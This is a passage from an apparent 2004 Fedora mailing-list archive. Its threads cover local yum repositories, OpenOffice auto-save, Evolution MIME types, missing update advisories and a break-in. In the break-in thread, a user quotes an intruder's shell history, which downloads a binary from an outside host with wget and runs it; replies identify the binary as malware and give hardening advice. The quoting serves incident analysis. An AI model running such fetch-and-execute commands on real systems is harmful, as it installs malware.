Program. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: PGP Digital Signature URL: From justin.conover at gmail.com Mon Nov 22 13:53:50 2004 From: justin.conover at gmail.com (Justin Conover) Date: Mon, 22 Nov 2004 07:53:50 -0600 Subject: fedora-amd64 list? In-Reply-To: <1101111031.2813.16.camel@laptop.fenrus.org> References: <1101111031.2813.16.camel@laptop.fenrus.org> Message-ID: On Mon, 22 Nov 2004 09:10:31 +0100, Arjan van de Ven wrote: > On Sun, 2004-11-21 at 18:42 -0600, Justin Conover wrote: > > > > Not sure were to ask this question, but I was wondering if Fedora > > would create a seperate amd64 list. That way it would be easier to > > sift through the list and just get down to amd64 specific thoughts and > > problems. > > Like amd64-list at redhat.com ?? > > that already exists ;) > Yes, like that :P Someone should create a link on: http://fedora.redhat.com/participate/communicate/ > > From jspaleta at gmail.com Mon Nov 22 14:55:37 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 22 Nov 2004 09:55:37 -0500 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <200411221307.56142.tim@birdsnest.maths.tcd.ie> References: <200411201600.56599.livelinux@nwst.de> <200411212245.57872.tim@birdsnest.maths.tcd.ie> <20041121231959.A23488@mail.harddata.com> <200411221307.56142.tim@birdsnest.maths.tcd.ie> Message-ID: <604aa79104112206556bb5a84a@mail.gmail.com> On Mon, 22 Nov 2004 13:07:55 +0000, Timothy Murphy wrote: > But could I nominate /var/cache/yum on my desktop as a yum repository, > for use by other machines on my home LAN? you can "nominate" any collection of rpms in any directory as a local repository... once you learn how to use createrepo to generate repository metadata.. and figure out how to share that directory via ftp or http. > > Incidentally, I haven't understood how one keeps the metadata > on a local repository up to date. > Is one meant to run createrepo repeatedly? Anytime you change the packages available in the repository...yes you have to run createrepo. That's sort of the point... the metadata is an accurate representation of the packages available at that location. You make any changes to the list of packages in the repository and you regenerate the metadata. If you mirror another repository and mirror all its packages and its metadata, you don't have to do anything with createrepo...the mirroring process if you do it correctly...keeps the metadata and the package list in sync. If you selectively pull packages from a repository into a local directory, then you have to regenerate metadata with createrepo that is specific to the small collection of packages you have locally if you plan to use that local packagegroup as a repo. I'd like to point out that yum's package cache is a selective pull of packages and is not a complete mirror. If you plan to use yum's packace cache you need to run createrepo against the directory to regenerate the metadata everytime you cache a new update. -jef From tim at birdsnest.maths.tcd.ie Mon Nov 22 16:02:15 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Mon, 22 Nov 2004 16:02:15 +0000 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <604aa79104112206556bb5a84a@mail.gmail.com> References: <200411201600.56599.livelinux@nwst.de> <200411221307.56142.tim@birdsnest.maths.tcd.ie> <604aa79104112206556bb5a84a@mail.gmail.com> Message-ID: <200411221602.16057.tim@birdsnest.maths.tcd.ie> On Monday 22 November 2004 14:55, Jeff Spaleta wrote: > > Incidentally, I haven't understood how one keeps the metadata > > on a local repository up to date. > > Is one meant to run createrepo repeatedly? > > Anytime you change the packages available in the repository...yes you > have to run createrepo. That's sort of the point... the metadata is > an accurate representation of the packages available at that location. > You make any changes to the list of packages in the repository and you > regenerate the metadata. Tbanks for the helpful suggestions. I guess I thought "createrepo" doesn't sound like the right command to keep a repo in sync. Maybe it should be configrepo, or something like that. Also "createrepo -h", which seems the only documentation for this command, does not say anything about keeping a repo up-to-date. > If you mirror another repository and mirror all its packages and its > metadata, you don't have to do anything with createrepo...the > mirroring process if you do it correctly...keeps the metadata and the > package list in sync. I guess it seems simplest to mirror the fedora-update repository locally. But what exactly do I need from such a site? Is there a script available which will collect the rpms and any metadata required? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From strange at nsk.no-ip.org Mon Nov 22 16:07:25 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Mon, 22 Nov 2004 16:07:25 +0000 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <604aa79104112206556bb5a84a@mail.gmail.com> References: <200411201600.56599.livelinux@nwst.de> <200411212245.57872.tim@birdsnest.maths.tcd.ie> <20041121231959.A23488@mail.harddata.com> <200411221307.56142.tim@birdsnest.maths.tcd.ie> <604aa79104112206556bb5a84a@mail.gmail.com> Message-ID: <20041122160725.GA19191@nsk.no-ip.org> On Mon, Nov 22, 2004 at 09:55:37AM -0500, Jeff Spaleta wrote: > > If you selectively pull packages from a repository into a local > directory, then you have to regenerate metadata with createrepo that > is specific to the small collection of packages you have locally if > you plan to use that local packagegroup as a repo. I'd like to point > out that yum's package cache is a selective pull of packages and is > not a complete mirror. If you plan to use yum's packace cache you need > to run createrepo against the directory to regenerate the metadata > everytime you cache a new update. Can the cache be nfs (rw) exported? Regards, Luciano Rocha From dag at wieers.com Mon Nov 22 16:47:40 2004 From: dag at wieers.com (Dag Wieers) Date: Mon, 22 Nov 2004 17:47:40 +0100 (CET) Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <200411221602.16057.tim@birdsnest.maths.tcd.ie> References: <200411201600.56599.livelinux@nwst.de> <200411221307.56142.tim@birdsnest.maths.tcd.ie> <604aa79104112206556bb5a84a@mail.gmail.com> <200411221602.16057.tim@birdsnest.maths.tcd.ie> Message-ID: On Mon, 22 Nov 2004, Timothy Murphy wrote: > On Monday 22 November 2004 14:55, Jeff Spaleta wrote: > > > If you mirror another repository and mirror all its packages and its > > metadata, you don't have to do anything with createrepo...the > > mirroring process if you do it correctly...keeps the metadata and the > > package list in sync. > > I guess it seems simplest to mirror the fedora-update repository locally. > But what exactly do I need from such a site? > Is there a script available which will collect the rpms > and any metadata required? You could look at a tool called Yam, I heard it was able to that :) -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From trulsg at broadpark.no Mon Nov 22 16:54:59 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Mon, 22 Nov 2004 17:54:59 +0100 Subject: OOO not auto-saving by default In-Reply-To: <1101097664.27458.3.camel@oscar.metro1.com> References: <1101097664.27458.3.camel@oscar.metro1.com> Message-ID: <41A219E3.5060100@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sean Bruno wrote: | | Anyway, fair warning to all OOO users, turn on your auto-save now, | before it's too late! | | Sean Bruno | Hi there, I wouldn't be so quick to turn on auto-save. For my part, I quite often use one document or spreasheet as a template for a new one and, in such cases, if you are not fast enough to his save as you original document is lost. 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In-Reply-To: References: Message-ID: <1101143091.3713.20.camel@thomas.camerontech.com> On Sun, 2004-11-21 at 18:42 -0600, Justin Conover wrote: > Not sure were to ask this question, but I was wondering if Fedora > would create a seperate amd64 list. That way it would be easier to > sift through the list and just get down to amd64 specific thoughts and > problems. > > thx, +1 From shrek-m at gmx.de Mon Nov 22 18:28:54 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 22 Nov 2004 19:28:54 +0100 Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <41A14B83.1010603@ntlworld.com> References: <41A14B83.1010603@ntlworld.com> Message-ID: <41A22FE6.8060209@gmx.de> richard mullens wrote: > Someone logged into my system on 13 Nov 2004 > I found the following in /var/log/wtmp > > 207-36-180-20.prt.primarydns.com > demo.allegientsystems.com > > My user password was changed - but not the root password - and the > following commands had been executed:- > > w > uname -a > cat /etc/issue > cd /tmp > wget chebeleu.com/local > chmod +x local > ./local -d -r > ./local -d -r > lunx > lynx > > There is a similar report dated 10-Nov-2004 at > http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=96509133&m=531005547631 > > where someone suggested it might be the exploit at > http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php > > Anybody know any more ? ---- $ sweep chebeleu.com/local >>> Virus 'Linux/OSF-A' found in file chebeleu.com/local ---- http://www.sophos.com/virusinfo/analyses/linuxosfa.html $ whois chebeleu.com [...] -- shrek-m From mpeters at mac.com Mon Nov 22 18:46:33 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 22 Nov 2004 18:46:33 +0000 Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <1101099112.4094.26.camel@localhost.localdomain> (from scott.aaron@abc.net.au on Sun Nov 21 20:51:52 2004) References: <41A14B83.1010603@ntlworld.com> <1101099112.4094.26.camel@localhost.localdomain> Message-ID: <1101149193l.4075l.0l@devel.mpeters.us> On 11/21/2004 08:51:52 PM, Aaron Scott wrote: > And how does this prove that there is a vulnerability in fedora and > not > that you have poor securty? This is just a general post for people reading this thread, not directed at anymody. firestarter is a good easy to use gui firewall configuration tool for those that have poked holes (or disabled) the firewall set up by Anaconda. firestarter will also set up NAT for you if you so desire. To test your firewall - http://scan.sygatetech.com/ Keep in mind that a firewall will not protect you from exploits in ports you have open to the public, which is why you should block as much as possible. Firestarter is available in Fedora.us for FC2 I have a rebuild of the Fedora.us firestarter src.rpm for FC3 at http://mpeters.us/yum/fedora/3/i386/RPMS.yjl/ (it's just the FC2 src.rpm rebuilt with rpmbuild --rebuild ) From wphewitt at bpa.gov Mon Nov 22 19:05:08 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Mon, 22 Nov 2004 11:05:08 -0800 Subject: Confused about evolution 2 Mimetype settings.... Message-ID: <1101150308.29472.4.camel@localhost.localdomain> Where does one set mime types for evolution 2.0...... All my MSWord attachments can only be "Save As...." though I have an OpenOffce desktop entry in /usr/share/applications (it shows up in the main menu)...... Also, evolution doesnt give me any options for adding mime types..... I have done about 20 Fedora 3 installs now and it is the same every time..... Clues, anyone? WPH -------------- next part -------------- An HTML attachment was scrubbed... URL: From dcbw at redhat.com Mon Nov 22 19:09:57 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 22 Nov 2004 14:09:57 -0500 Subject: Confused about evolution 2 Mimetype settings.... In-Reply-To: <1101150308.29472.4.camel@localhost.localdomain> References: <1101150308.29472.4.camel@localhost.localdomain> Message-ID: <1101150597.3762.3.camel@dcbw.boston.redhat.com> On Mon, 2004-11-22 at 11:05 -0800, William Hewitt wrote: > Where does one set mime types for evolution 2.0...... All my MSWord > attachments can only be "Save As...." though I have an OpenOffce > desktop entry in /usr/share/applications (it shows up in the main > menu)...... Also, evolution doesnt give me any options for adding mime > types..... I have done about 20 Fedora 3 installs now and it is the > same every time..... > > Clues, anyone? William, It would be _great_ if you could figure out what those documents mime- types are. I've built a new redhat-menus package that should have this fixed (see #137520), but it will still require a new OOo build after that redhat-menus makes it through into rawhide. But anyway, if you can find out what mime type Evolution _thinks_ those files are, then we could make absolutely sure that the OOo desktop file lists taht type as "supported". Dan From wphewitt at bpa.gov Mon Nov 22 19:19:26 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Mon, 22 Nov 2004 11:19:26 -0800 Subject: A suggestion for an enhancement to Nautilus..... Message-ID: <1101151167.29472.19.camel@localhost.localdomain> I have added a "terminal" script under the scripts folder that launches a terminal in the context of whatever directory I happen to be viewing via the nautilus navigation windows (there used to be tons of variations on this out on the web...)..... This has turned out to be *very* handy.... Before, I would open nautilus to find a directory, realize that I needed a terminal and have to select terminal from the panel and navigate via the terminal to the directory that I want to be in..... very convoluted.... I think it would add great value if such a script were available from the "File" menu in the nautilus shell..... (ie - File->Open Terminal)..... rather than under "Scripts"....... Currently, I have to add this to every account after an install and it really should be available to all accounts by default.....and a little easier to find..... I thought about fixing the source to allow for this, but I dont currently have the time or the background to delve into Nautilus source without any documentation for what is probably not a big mod for someone who knows the internals of the application..... I would suggest, that in fedora, such an enhancement would be of value and add some polish to nautilus...... Perhaps, I am missing something and it is already there? Dont know.... "Nautilus Folks", hope you consider this.... WPH -------------- next part -------------- An HTML attachment was scrubbed... URL: From dmalcolm at redhat.com Mon Nov 22 21:06:04 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Mon, 22 Nov 2004 16:06:04 -0500 Subject: Confused about evolution 2 Mimetype settings.... In-Reply-To: <1101150597.3762.3.camel@dcbw.boston.redhat.com> References: <1101150308.29472.4.camel@localhost.localdomain> <1101150597.3762.3.camel@dcbw.boston.redhat.com> Message-ID: <1101157564.4064.14.camel@cassandra.boston.redhat.com> On Mon, 2004-11-22 at 14:09 -0500, Dan Williams wrote: > On Mon, 2004-11-22 at 11:05 -0800, William Hewitt wrote: > > Where does one set mime types for evolution 2.0...... All my MSWord > > attachments can only be "Save As...." though I have an OpenOffce > > desktop entry in /usr/share/applications (it shows up in the main > > menu)...... Also, evolution doesnt give me any options for adding mime > > types..... I have done about 20 Fedora 3 installs now and it is the > > same every time..... > > > > Clues, anyone? > > William, > > It would be _great_ if you could figure out what those documents mime- > types are. I've built a new redhat-menus package that should have this > fixed (see #137520), but it will still require a new OOo build after > that redhat-menus makes it through into rawhide. > > But anyway, if you can find out what mime type Evolution _thinks_ those > files are, then we could make absolutely sure that the OOo desktop file > lists taht type as "supported". Evolution should be determining the mime type for an attachment as whatever type was set inside the email by the application that was used to send the email (although it special-cases a few things to deal with "application/octet-stream" which basically tells you nothing, and as a workaround for some common buggy email programs). To directly see what MIME type is set inside a message: View->Message Display->Show Email Source Look for a line that says "Content-Type"; this list the MIME type of an attachment. If you use Dan's new redhat-menus package and Evolution still has problems, please file a bug report, stating the MIME type. Thanks Dave Malcolm > > Dan > From Stephane.Gaucher at USherbrooke.ca Mon Nov 22 21:18:33 2004 From: Stephane.Gaucher at USherbrooke.ca (Stephane Gaucher) Date: Mon, 22 Nov 2004 16:18:33 -0500 Subject: Upgrade to fc2->fc3 via yum Message-ID: <1101158313.5277.13.camel@localhost.localdomain> Can we upgrade from fc2 to fc3 via yum upgrade -------------- next part -------------- An HTML attachment was scrubbed... URL: From dcbw at redhat.com Mon Nov 22 21:22:52 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 22 Nov 2004 16:22:52 -0500 Subject: Upgrade to fc2->fc3 via yum In-Reply-To: <1101158313.5277.13.camel@localhost.localdomain> References: <1101158313.5277.13.camel@localhost.localdomain> Message-ID: <1101158572.3762.15.camel@dcbw.boston.redhat.com> On Mon, 2004-11-22 at 16:18 -0500, Stephane Gaucher wrote: > Can we upgrade from fc2 to fc3 via yum upgrade You definitely should be able to. If you can't, then consider it a bug and file a bug for the problem (with error output) in Bugzilla. Dan From dcbw at redhat.com Mon Nov 22 21:25:31 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 22 Nov 2004 16:25:31 -0500 Subject: Confused about evolution 2 Mimetype settings.... In-Reply-To: <1101157564.4064.14.camel@cassandra.boston.redhat.com> References: <1101150308.29472.4.camel@localhost.localdomain> <1101150597.3762.3.camel@dcbw.boston.redhat.com> <1101157564.4064.14.camel@cassandra.boston.redhat.com> Message-ID: <1101158731.3762.19.camel@dcbw.boston.redhat.com> On Mon, 2004-11-22 at 16:06 -0500, David Malcolm wrote: > On Mon, 2004-11-22 at 14:09 -0500, Dan Williams wrote: > > On Mon, 2004-11-22 at 11:05 -0800, William Hewitt wrote: > > > Where does one set mime types for evolution 2.0...... All my MSWord > > > attachments can only be "Save As...." though I have an OpenOffce > > > desktop entry in /usr/share/applications (it shows up in the main > > > menu)...... Also, evolution doesnt give me any options for adding mime > > > types..... I have done about 20 Fedora 3 installs now and it is the > > > same every time..... > > > > > > Clues, anyone? > > > > William, > > > > It would be _great_ if you could figure out what those documents mime- > > types are. I've built a new redhat-menus package that should have this > > fixed (see #137520), but it will still require a new OOo build after > > that redhat-menus makes it through into rawhide. > > > > But anyway, if you can find out what mime type Evolution _thinks_ those > > files are, then we could make absolutely sure that the OOo desktop file > > lists taht type as "supported". > > Evolution should be determining the mime type for an attachment as > whatever type was set inside the email by the application that was used > to send the email (although it special-cases a few things to deal with > "application/octet-stream" which basically tells you nothing, and as a > workaround for some common buggy email programs). > > To directly see what MIME type is set inside a message: > View->Message Display->Show Email Source > > Look for a line that says "Content-Type"; this list the MIME type of an > attachment. > > If you use Dan's new redhat-menus package and Evolution still has > problems, please file a bug report, stating the MIME type. I just built and pushed redhat-menus-3.7-2.2.fc3 to fc3-updates, but the OOo package needs to be rebuilt for this as well. That should show up tomorrow or Wednesday in fc3-updates. Dan From sean.bruno at dsl-only.net Mon Nov 22 21:25:55 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Mon, 22 Nov 2004 13:25:55 -0800 Subject: OOO not auto-saving by default In-Reply-To: <41A219E3.5060100@broadpark.no> References: <1101097664.27458.3.camel@oscar.metro1.com> <41A219E3.5060100@broadpark.no> Message-ID: <1101158755.9389.2.camel@oscar.metro1.com> > Hi there, > I wouldn't be so quick to turn on auto-save. For my part, I quite often > use one document or spreasheet as a template for a new one and, in such > cases, if you are not fast enough to his save as you original document > is lost. Also, if you work with versions and/or are testing formulas > etc. in your spreadsheet you would probably like to control the file > save yourself. Maybe I don't understand the "auto-save" feature. How does one recover documents in the even of a power outage, machine glitch, etc...Does OOO have a temp file that it can recover from? In this case, the write did not have anything to recover from. From henryhartley at westat.com Mon Nov 22 21:36:17 2004 From: henryhartley at westat.com (Henry Hartley) Date: Mon, 22 Nov 2004 16:36:17 -0500 Subject: Upgrade to fc2->fc3 via yum Message-ID: <446DDE75CFC7E1438061462F85557B0F075A5A46@remail2.westat.com> >> -----Original Message----- >> From: Dan Williams >> Sent: Monday, November 22, 2004 4:23 PM >> >> On Mon, 2004-11-22 at 16:18 -0500, Stephane Gaucher wrote: >> > Can we upgrade from fc2 to fc3 via yum upgrade >> >> You definitely should be able to. If you can't, then consider >> it a bug and file a bug for the problem (with error output) in >> Bugzilla. Same question, different version... Should upgrading from FC1 to FC3 work? Or does the change from the 2.4 to 2.6 kernel cause problems? Can someone provide a pointer to a yum.conf I should use? -- Henry From kyrre at solution-forge.net Mon Nov 22 21:39:52 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 22 Nov 2004 22:39:52 +0100 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <20041122160725.GA19191@nsk.no-ip.org> References: <200411201600.56599.livelinux@nwst.de> <200411212245.57872.tim@birdsnest.maths.tcd.ie> <20041121231959.A23488@mail.harddata.com> <200411221307.56142.tim@birdsnest.maths.tcd.ie> <604aa79104112206556bb5a84a@mail.gmail.com> <20041122160725.GA19191@nsk.no-ip.org> Message-ID: <1101159592.2788.0.camel@kyrre> man, 22.11.2004 kl. 17.07 skrev Luciano Miguel Ferreira Rocha: > On Mon, Nov 22, 2004 at 09:55:37AM -0500, Jeff Spaleta wrote: > > > > If you selectively pull packages from a repository into a local > > directory, then you have to regenerate metadata with createrepo that > > is specific to the small collection of packages you have locally if > > you plan to use that local packagegroup as a repo. I'd like to point > > out that yum's package cache is a selective pull of packages and is > > not a complete mirror. If you plan to use yum's packace cache you need > > to run createrepo against the directory to regenerate the metadata > > everytime you cache a new update. > > Can the cache be nfs (rw) exported? > > Regards, > Luciano Rocha I had a squid-exported cache once. Worked great, and no configuration... Just switch it on at the router :P (and Jeff hated me for it. :) ) From kyrre at solution-forge.net Mon Nov 22 21:45:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 22 Nov 2004 22:45:42 +0100 Subject: OOO not auto-saving by default In-Reply-To: <1101158755.9389.2.camel@oscar.metro1.com> References: <1101097664.27458.3.camel@oscar.metro1.com> <41A219E3.5060100@broadpark.no> <1101158755.9389.2.camel@oscar.metro1.com> Message-ID: <1101159942.2788.5.camel@kyrre> man, 22.11.2004 kl. 22.25 skrev Sean Bruno: > > Hi there, > > I wouldn't be so quick to turn on auto-save. For my part, I quite often > > use one document or spreasheet as a template for a new one and, in such > > cases, if you are not fast enough to his save as you original document > > is lost. Also, if you work with versions and/or are testing formulas > > etc. in your spreadsheet you would probably like to control the file > > save yourself. > > Maybe I don't understand the "auto-save" feature. > > How does one recover documents in the even of a power outage, machine > glitch, etc...Does OOO have a temp file that it can recover from? In > this case, the write did not have anything to recover from. > > As far as i know - it *should* have. Not save/overwrite the old file, just create a new temp one. Which is detected in case of of chrash, and recovered. As far as i know, OO does this, MS word does this - even vim does this! That is why you can recover documents never ever saved. But i have seen cases where it haven't worked - looks like OO haven't detected where the file was. Or it was never created. When that is said, i have used oo for about 1? year now, and can only remember two bad crashes - and in only one case i was unable to recover. I remember cursing word many, many times more From no-reply-gw at fcp.homelinux.org Mon Nov 22 21:51:52 2004 From: no-reply-gw at fcp.homelinux.org (=?iso-8859-1?B?bWFyY3VzLWNhdA==?=) Date: Mon, 22 Nov 2004 22:51:52 +0100 Subject: Features for FC4 In-Reply-To: <1100659830.7467.77.camel@localhost.localdomain> Message-ID: <00f6ca8b25b7db8994add4cf53d88b53@fcp.homelinux.org> I have a simple feature request: I would like to be able to upgrade to FC4 when it comes out and not have to figure out each time how to make my palm pilot synch correctly with Jpilot and gnome-pilot! Is this too much to ask that udev could be installed with the most popular usb devices so that palm pilot plug and play really works out of the box? -mark -- This is an email sent via the webforum on http://fcp.homelinux.org From mullens at ntlworld.com Mon Nov 22 22:15:27 2004 From: mullens at ntlworld.com (richard mullens) Date: Mon, 22 Nov 2004 22:15:27 +0000 Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <41A14B83.1010603@ntlworld.com> References: <41A14B83.1010603@ntlworld.com> Message-ID: <41A264FF.6000009@ntlworld.com> richard mullens wrote: > Someone logged into my system on 13 Nov 2004 > I found the following in /var/log/wtmp > > 207-36-180-20.prt.primarydns.com > demo.allegientsystems.com > > My user password was changed - but not the root password - and the > following commands had been executed:- > > w > uname -a > cat /etc/issue > cd /tmp > wget chebeleu.com/local > chmod +x local > ./local -d -r > ./local -d -r > lunx > lynx > > There is a similar report dated 10-Nov-2004 at > http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=96509133&m=531005547631 > > where someone suggested it might be the exploit at > http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php > > Anybody know any more ? > Many thanks everybody. I came here to learn and this is the proof that one should not have password = username. Over 7 days, every five minutes or so, someone attempted to gain access to my system with root and all sorts of different account names. Finally they succeeded:- [root at caesium ~]# grep -v uid /var/log/secure.2 |grep richard Nov 13 22:33:42 caesium sshd[4586]: Accepted password for richard from ::ffff:207.36.180.20 port 41610 ssh2 Nov 13 22:34:18 caesium sshd[4633]: Accepted password for richard from ::ffff:208.251.178.235 port 55717 ssh2 [root at caesium ~]# Time now to wipe the system and install FC3 using stronger passwords on my account. From Bernd.Bartmann at sohanet.de Mon Nov 22 22:14:54 2004 From: Bernd.Bartmann at sohanet.de (Bernd Bartmann) Date: Mon, 22 Nov 2004 23:14:54 +0100 Subject: Missing update advisories Message-ID: <41A264DE.9090202@sohanet.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 After FC3 final has been released several updates have been pushed out to the mirrors and yet again we haven't seen any announcement for some of them. Some announcements for FC2 and even FC1 are still missing too: FC1: gaim-0.77-2.FC1 gaim-0.80-1.FC1 gaim-0.81-1.FC1 postfix-2.0.16-1 recode-3.6-12.0 FC2: devhelp-0.9.1-0.2.2 epiphany-1.2.7-0.2.0 epiphany-1.2.7-0.2.2 fam-2.6.10-9.FC2 gaim-0.77-7 gaim-0.80-1.FC2 gaim-0.81-1.FC2 gaim-1.0.2-0.FC2 gnome-session-2.6.0-4 kernel-2.6.9-1.3_FC2 libxml-1.8.17-10.1.2 man-1.5o1-6 mozilla-1.7.2-0.2.0 mozilla-1.7.3-0.2.0 nfs-utils-1.0.6-22 ruby-1.8.1-5 slang-1.4.9-12 xinitrc-3.41-1 xorg-x11-6.7.0-9 FC3: aspell-bg-0.50-7 bash-3.0-18 brltty-3.2-6 cvs-1.11.17-4 firefox-1.0-2.fc3 gamin-0.0.17-1.FC3 iptables-1.2.11-3.1.FC3 kernel-2.6.9-1.678_FC3 kernel-2.6.9-1.681_FC3 libselinux-1.19.1-3 libxml-1.8.17-12 man-1.5o1-7 man-pages-pl-0.23-4 policycoreutils-1.18.1-2 postfix-2.1.5-2.3.FC3 rhgb-0.15.1-1.FC3 shadow-utils-4.0.3-38 shadow-utils-4.0.3-40 slang-1.4.9-7 slang-1.4.9-13 udev-039-10.FC3.2 words-3.0-2 Besides this there were twice two announcements that had the same id: FEDORA-2004-378: kdelibs-3.3.1-2.2 for FC3 kdegraphics-3.3.1-2.1 for FC3 FEDORA-2004-407: libxml2-2.6.16-3 for FC3 libxml2-2.6.16-2 for FC2 Best regards. - -- Dipl.-Ing. (FH) Bernd Bartmann I.S. Security and Network Engineer SoHaNet Technology GmbH / Kaiserin-Augusta-Allee 10-11 / 10553 Berlin Fon: +49 30 214783-44 / Fax: +49 30 214783-46 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBomTekQuIaHu84cIRAqzIAJ4llolT+CH3DuZKOYDtOlZx4lAgvACcCNgA dh3N84SOm6UfumZKbMnZtZU= =qDox -----END PGP SIGNATURE----- From shrek-m at gmx.de Mon Nov 22 22:15:10 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 22 Nov 2004 23:15:10 +0100 Subject: Upgrade to fc2->fc3 via yum In-Reply-To: <1101158313.5277.13.camel@localhost.localdomain> References: <1101158313.5277.13.camel@localhost.localdomain> Message-ID: <41A264EE.20409@gmx.de> Stephane Gaucher wrote: > Can we upgrade from fc2 to fc3 via yum upgrade afair this has NOTHING to do with the fedora-TEST-list and this question was answered, discussed, ... really often in the FEDORA-LIST see the list archives at http://www.redhat.com/archives/fedora-list/ -- shrek-m From sean.bruno at dsl-only.net Mon Nov 22 22:18:16 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Mon, 22 Nov 2004 14:18:16 -0800 Subject: OOO not auto-saving by default In-Reply-To: <1101159942.2788.5.camel@kyrre> References: <1101097664.27458.3.camel@oscar.metro1.com> <41A219E3.5060100@broadpark.no> <1101158755.9389.2.camel@oscar.metro1.com> <1101159942.2788.5.camel@kyrre> Message-ID: <1101161896.9389.10.camel@oscar.metro1.com> > As far as i know - it *should* have. Not save/overwrite the old file, > just create a new temp one. Which is detected in case of of chrash, and > recovered. > > As far as i know, OO does this, MS word does this - even vim does this! > That is why you can recover documents never ever saved. > > But i have seen cases where it haven't worked - looks like OO haven't > detected where the file was. Or it was never created. > > When that is said, i have used oo for about 1? year now, and can only > remember two bad crashes - and in only one case i was unable to recover. > I remember cursing word many, many times more Then have did my spouse run into a bug? The system was overloaded and soffice.bin was killed due to an out of memory condition. I expected that OOO would have recovered from this state in some way, but I could not determine where the backup/temp file was. From shrek-m at gmx.de Mon Nov 22 22:22:47 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 22 Nov 2004 23:22:47 +0100 Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <41A264FF.6000009@ntlworld.com> References: <41A14B83.1010603@ntlworld.com> <41A264FF.6000009@ntlworld.com> Message-ID: <41A266B7.9050201@gmx.de> richard mullens wrote: > Time now to wipe the system and install FC3 using stronger passwords > on my account. and time to ... change the sshd-port disallow root-login via ssh check your firewall ... # vi /etc/sshd/sshd_config # man sshd_config # man iptables ... -- shrek-m From shrek-m at gmx.de Mon Nov 22 22:32:06 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 22 Nov 2004 23:32:06 +0100 Subject: Features for FC4 In-Reply-To: <00f6ca8b25b7db8994add4cf53d88b53@fcp.homelinux.org> References: <00f6ca8b25b7db8994add4cf53d88b53@fcp.homelinux.org> Message-ID: <41A268E6.4020708@gmx.de> marcus-cat wrote: >I have a simple feature request > if it is not in bugzilla it does not exist -- shrek-m From trulsg at broadpark.no Mon Nov 22 22:38:54 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Mon, 22 Nov 2004 23:38:54 +0100 Subject: OOO not auto-saving by default In-Reply-To: <1101158755.9389.2.camel@oscar.metro1.com> References: <1101097664.27458.3.camel@oscar.metro1.com> <41A219E3.5060100@broadpark.no> <1101158755.9389.2.camel@oscar.metro1.com> Message-ID: <41A26A7E.9030105@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sean Bruno wrote: |>Hi there, |>I wouldn't be so quick to turn on auto-save. For my part, I quite often |>use one document or spreasheet as a template for a new one and, in such |>cases, if you are not fast enough to his save as you original document |>is lost. Also, if you work with versions and/or are testing formulas |>etc. in your spreadsheet you would probably like to control the file |>save yourself. | | | Maybe I don't understand the "auto-save" feature. | | How does one recover documents in the even of a power outage, machine | glitch, etc...Does OOO have a temp file that it can recover from? In | this case, the write did not have anything to recover from. | | | If you open ooo and go options->load/save->general you will see that you have several options also a back-up file. Auto-save will save your document every x min. Though, with all the options available you should be able to configure ooo to you likings. Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBomp+ickK29LSyG8RAiEcAJ9+TbADfHJ7UmkzcJNOaJGDztAfvgCggwbg o817emMVoFki+rw+pV8Rq88= =FTGy -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From a_mani_sc_gs at vsnl.net Mon Nov 22 23:06:33 2004 From: a_mani_sc_gs at vsnl.net (A. Mani) Date: Tue, 23 Nov 2004 04:36:33 +0530 Subject: A. Mani : Update Question In-Reply-To: <20041122221840.AAA1F7465E@hormel.redhat.com> References: <20041122221840.AAA1F7465E@hormel.redhat.com> Message-ID: <41A270F9.9030009@vsnl.net> Hello, Actually I want to update FC1 by FC3 to a 